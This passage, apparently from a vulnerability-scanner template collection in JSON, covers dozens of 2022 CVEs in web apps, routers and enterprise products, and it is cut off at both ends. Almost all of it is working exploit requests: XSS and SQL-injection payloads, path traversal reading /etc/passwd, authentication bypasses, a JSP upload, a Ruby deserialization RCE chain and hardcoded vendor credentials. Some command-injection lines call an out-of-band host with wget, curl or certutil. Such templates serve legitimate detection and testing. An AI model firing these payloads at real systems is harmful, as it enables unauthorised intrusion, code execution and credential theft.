Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["here"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-35151","info":{"name":"kkFileView 4.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4%3D HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","\u56fe\u7247\u9884\u89c8"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24900","info":{"name":"Piano LED Visualizer 1.3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4295","info":{"name":"Show all comments < 7.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=sac_post_type_call&post_type="],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \"\")","contains(body, \"Select \")"],"condition":"and"}]}]},{"id":"CVE-2022-42233","info":{"name":"Tenda 11N - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /index.asp HTTP/1.1\nHost: {{Hostname}}\nCookie: admin\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["def_wirelesspassword","Tenda 11N"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["GoAhead-Webs"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26833","info":{"name":"Open Automation Software OAS Platform V16.00.0121 - Missing Authentication","severity":"critical"},"requests":[{"raw":["POST /OASREST/v2/authenticate HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Type: application/json\n\n{\"username\": \"\", \"password\": \"\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"status\":","\"data\":","\"token\":","\"clientid\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32018","info":{"name":"Complete Online Job Search System 1.0 - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2022-27985","info":{"name":"Cuppa CMS v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","POST /alerts/alertLightbox.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nurl=components%2Fpermissions%2Flist_permissions_lightbox.php&title=Permissions%3A+profile¶ms%5Bgroup%5D=3'+UNION+ALL+SELECT+md5('{{num}}'),null--+-¶ms%5Breference%5D=41&uniqueClass=new_content_3983163\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-40843","info":{"name":"Tenda AC1200 V-W15Ev2 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /goform/downloadSyslog/syslog.log HTTP/1.1\nHost: {{Hostname}}\nCookie: W15Ev2_user=\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["^0\\d{3}$"]},{"type":"word","part":"body","words":["[system]","[error]","[wan1]"],"condition":"or"},{"type":"word","part":"header","words":["Content-type: config/conf"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23178","info":{"name":"Crestron Device - Credentials Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/aj.html?a=devi"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"uname\":","\"upassword\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43169","info":{"name":"Rukovoditel <= 3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=users_groups/users_groups&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=¬es=&ldap_filter=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-29464","info":{"name":"WSO2 Management - Arbitrary File Upload & Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /fileupload/toolsAny HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311\nContent-Length: 348\n\n-----------------------------250033711231076532771336998311\nContent-Disposition: form-data; name=\"../../../../repository/deployment/server/webapps/authenticationendpoint/{{to_lower(\"{{randstr}}\")}}.jsp\";filename=\"test.jsp\"\nContent-Type: application/octet-stream\n\n<% out.print(\"WSO2-RCE-CVE-2022-29464\"); %>\n-----------------------------250033711231076532771336998311--\n","GET /authenticationendpoint/{{to_lower(\"{{randstr}}\")}}.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, 'WSO2-RCE-CVE-2022-29464')"]}]}]},{"id":"CVE-2022-30073","info":{"name":"WBCE CMS 1.5.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname=username_axh5kevh&password_fieldname=password_axh5kevh&username_axh5kevh={{username}}&password_axh5kevh={{password}}&submit=Login\n","GET /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nformtoken={{formtoken}}&user_id=&username_fieldname=username_tep83j9z&username_tep83j9z=testme2&password=temp1234&password2=temp1234&display_name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=testme2%40abc.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=\n","GET /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
","WBCECMS"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"formtoken","group":1,"regex":[""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-32429","info":{"name":"MSNSwitch Firmware MNT.2408 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin-hax/ExportSettings.sh"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SSID1"]},{"type":"regex","part":"header","regex":["filename=\"Settings(.*).dat","application/octet-stream"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-33119","info":{"name":"NUUO NVRsolo Video Recorder 03.06.02 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: \"><\"\n\nlanguage=en&user=user&pass=pass&submit=Login\n"],"matchers":[{"type":"dsl","dsl":["contains(header, \"text/html\")","status_code == 200","contains(body,'<\\\"?cmd=')"],"condition":"and"}]}]},{"id":"CVE-2022-0281","info":{"name":"Microweber Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/users/search_authors"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"username\":","\"email\":","\"display_name\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24681","info":{"name":"ManageEngine ADSelfService Plus <6121 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /servlet/GetProductVersion HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(buildnumber, '< 6121')"]},{"type":"word","part":"body","words":["ManageEngine"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"buildnumber","group":1,"regex":["\"BUILD_NUMBER\":\"([0-9]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-25481","info":{"name":"ThinkPHP 5.0.24 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?s=example"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Exception","REQUEST_TIME","ThinkPHP Constants"],"condition":"and"},{"type":"status","status":[200,500,404],"condition":"or"}]}]},{"id":"CVE-2022-25486","info":{"name":"Cuppa CMS v1.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /alerts/alertConfigField.php  HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurlConfig=../../../../../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44951","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/forms&action=save_tab&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&entities_id=24&name=%3cscript%3ealert(document.domain)%3c%2fscript%3e&description=\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-2486","info":{"name":"Wavlink WN535K2/WN535K3 - OS Command Injection","severity":"critical"},"requests":[{"raw":["GET /cgi-bin/mesh.cgi?page=upgrade&key=;%27wget+http://{{interactsh-url}};%27 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-24223","info":{"name":"Atom CMS v2.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /admin/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nemail={{randstr}}@gmail.com'+AND+(SELECT+2549+FROM+(SELECT(SLEEP(6)))LIzI)+AND+'uqzM'='uqzM&password={{randstr}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"Admin Login\") && contains(body, \"Atom.SaveOnBlur\")"],"condition":"and"}]}]},{"id":"CVE-2022-0760","info":{"name":"WordPress Simple Link Directory <7.7.2 - SQL injection","severity":"critical"},"requests":[{"raw":["@timeout 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(7))enz)\n"],"matchers":[{"type":"dsl","dsl":["duration>=7","status_code == 200 || status_code == 500","contains(content_type, \"text/html\")","contains(body, \"vote_status\") || contains(body, \"critical error\")"],"condition":"and"}]}]},{"id":"CVE-2022-28365","info":{"name":"Reprise License Manager 14.2 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/goforms/rlminfo"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["RLM Version","Platform type"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-30514","info":{"name":"School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /dms/admin/login.php?f=login HTTP/1.1\nHost: {{Hostname}}\n\nusername={{username}}&password={{password}}\n","GET /dms/admin/?s=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["''; alert(document.domain); s='';","School Dormitory Management System"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0679","info":{"name":"WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\n\naction=narnoo_distributor_lib_request&lib_path=/etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28022","info":{"name":"Purchase Order Management v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /classes/Master.php?f=delete_item HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nid=test'+AND+(SELECT+2844+FROM+(SELECT(SLEEP(6)))FDTM)+AND+'sWZA'='sWZA\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"status\\\":\\\"success\")"],"condition":"and"}]}]},{"id":"CVE-2022-40127","info":{"name":"AirFlow < 2.4.0 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /login/ HTTP/1.1\nHost: {{Hostname}}\n","POST /login/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}&_csrf_token={{csrf_token}}\n","@timeout: 15s\nPOST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n    \"conf\": {\n\"dag_run\": \"{{randstr}}\"\n},\n  \"dag_run_id\": \"id \\\"&& curl `whoami`.{{interactsh-url}}\",\n  \"logical_date\": \"{{date_time(\"%Y-%M-%D\")}}T{{date_time(\"%H:%m:%s\")}}.920Z\"\n\n}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["state\": \"queued\""]},{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf_token","group":1,"regex":["type=\"hidden\" value=\"(.*?)\">"],"internal":true}]}]},{"id":"CVE-2022-23881","info":{"name":"ZZZCMS zzzphp 2.1.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /?location=search HTTP/1.1\nHost: {{Hostname}}\nCookies: keys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-1598","info":{"name":"WordPress WPQA <5.5 - Improper Access Control","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/asked-question"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"id\":","\"rendered\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1724","info":{"name":"WordPress Simple Membership <4.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"\","]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0482","info":{"name":"Easy!Appointments <1.4.3 - Broken Access Control","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","POST /index.php/backend_api/ajax_get_calendar_events HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\ncsrfToken={{csrf_token}}&startDate=2022-01-01&endDate=2022-01-01\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"appointments\":","\"unavailables\":"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"kval","name":"csrf_token","internal":true,"kval":["csrfCookie"],"part":"header"}]}]},{"id":"CVE-2022-31879","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /admin/?page=reports&date=2022-05-24-6'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Dashboard\")"],"condition":"and"}]}]},{"id":"CVE-2022-38817","info":{"name":"Dapr Dashboard 0.1.0-0.10.0 - Improper Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/components/statestore","{{BaseURL}}/overview","{{BaseURL}}/controlplane"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Dapr Dashboard"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28219","info":{"name":"Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/api/agent/tabs/agentData"],"body":"[\n  {\n    \"DomainName\": \"{{Host}}\",\n    \"EventCode\": 4688,\n    \"EventType\": 0,\n    \"TimeGenerated\": 0,\n    \"Task Content\": \" %xxe; ]>\"\n  }\n]\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["ManageEngine"]}]}]},{"id":"CVE-2022-41840","info":{"name":"Welcart eCommerce <=2.7.7 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0660","info":{"name":"Microweber <1.2.11 - Information Disclosure","severity":"high"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /module/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}admin/view:comments\n\nclass=+module+module-comments-manage+&id=mw_admin_posts_with_comments&data-type=comments%2Fmanage&parent-module-id=mw-main-module-backend&parent-module=comments&data-search-keyword={{randstr}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2,'QueryException')","contains(body_2,'SQLSTATE')","contains(body_2,'runQueryCallback')","contains(header_2,\"text/html\")","status_code_2==500"],"condition":"and"}]}]},{"id":"CVE-2022-34576","info":{"name":"WAVLINK WN535 G3 - Improper Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/ExportAllSettings.sh"],"matchers-condition":"and","matchers":[{"type":"word","words":["Login=","Password=","Model=","AuthMode="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3578","info":{"name":"WordPress ProfileGrid <5.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=pm_add_group&id=\">&tab\")"],"condition":"and"}]}]},{"id":"CVE-2022-2187","info":{"name":"WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Contact Form 7"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32028","info":{"name":"Car Rental Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/ajax.php?action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"skip-variables-check":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31269","info":{"name":"Linear eMerge E3-Series - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/test.txt"],"matchers-condition":"and","matchers":[{"type":"word","words":["ID=","Password="],"condition":"and"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["Password='(.+?)'"]}]}]},{"id":"CVE-2022-0148","info":{"name":"WordPress All-in-one Floating Contact Form <2.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=my-sticky-elements-leads&search-contact=xxxx%22%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29+x HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25487","info":{"name":"Atom CMS v2.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /admin/uploads.php?id=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041\n\n-----------------------------30623082103363803402542706041\nContent-Disposition: form-data; name=\"file\"\n\n\n-----------------------------30623082103363803402542706041\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\nContent-Type: image/jpeg\n\n\n\n-----------------------------30623082103363803402542706041--\n","GET /uploads/{{filename}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["7ee3686858eb89dd68ccf85f0ea03abe"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"filename","group":1,"regex":["SET avatar = '(.*?)'"],"internal":true}]}]},{"id":"CVE-2022-31798","info":{"name":"Nortek Linear eMerge E3-Series - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[",\"CardFormatNo\":\"\"}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0885","info":{"name":"Member Hero <=1.0.9 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=memberhero_send_form&_memberhero_hook=phpinfo"],"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version","PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2022-47986","info":{"name":"IBM Aspera Faspex <=4.4.2 PL1 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /aspera/faspex/package_relay/relay_package HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"package_file_list\": [\"/\"], \"external_emails\": \"\\n---\\n- !ruby/object:Gem::Installer\\n    i: x\\n- !ruby/object:Gem::SpecFetcher\\n    i: y\\n- !ruby/object:Gem::Requirement\\n  requirements:\\n    !ruby/object:Gem::Package::TarReader\\n    io: &1 !ruby/object:Net::BufferedIO\\n      io: &1 !ruby/object:Gem::Package::TarReader::Entry\\n         read: 0\\n         header: \\\"pew\\\"\\n      debug_output: &1 !ruby/object:Net::WriteAdapter\\n         socket: &1 !ruby/object:PrettyPrint\\n             output: !ruby/object:Net::WriteAdapter\\n                 socket: &1 !ruby/module \\\"Kernel\\\"\\n                 method_id: :eval\\n             newline: \\\"throw `id`\\\"\\n             buffer: {}\\n             group_stack:\\n              - !ruby/object:PrettyPrint::Group\\n                break: true\\n         method_id: :breakable\\n\", \"package_name\": \"{{rand_base(4)}}\", \"package_note\": \"{{randstr}}\", \"original_sender_name\": \"{{randstr}}\", \"package_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\", \"metadata_human_readable\": \"Yes\", \"forward\": \"pew\", \"metadata_json\": \"{}\", \"delivery_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\", \"delivery_sender_name\": \"{{rand_base(8)}}\", \"delivery_title\": \"{{rand_base(4)}}\", \"delivery_note\": \"{{rand_base(4)}}\", \"delete_after_download\": true, \"delete_after_download_condition\": \"IDK\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","regex":["uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-31656","info":{"name":"VMware - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""],"condition":"and"},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43185","info":{"name":"Rukovoditel <= 3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=holidays/holidays&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_date=2023-05-22&end_date=2023-05-31\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-35413","info":{"name":"WAPPLES Web Application Firewall <=6.0 - Hardcoded Credentials","severity":"critical"},"requests":[{"raw":["POST /webapi/auth HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid={{username}}&password={{password}}\n"],"payloads":{"username":["systemi"],"password":["db/wp.no1"]},"attack":"pitchfork","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"res_msg\":\"Authentication Success.\"","\"doc_id\":\"user_systemi\""],"condition":"and"},{"type":"word","part":"header","words":["WP_SESSID="]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24112","info":{"name":"Apache APISIX - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /apisix/batch-requests HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\n\n{\n  \"headers\":{\n    \"X-Real-IP\":\"127.0.0.1\",\n    \"Content-Type\":\"application/json\"\n  },\n  \"timeout\":1500,\n  \"pipeline\":[\n    {\n      \"method\":\"PUT\",\n      \"path\":\"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1\",\n      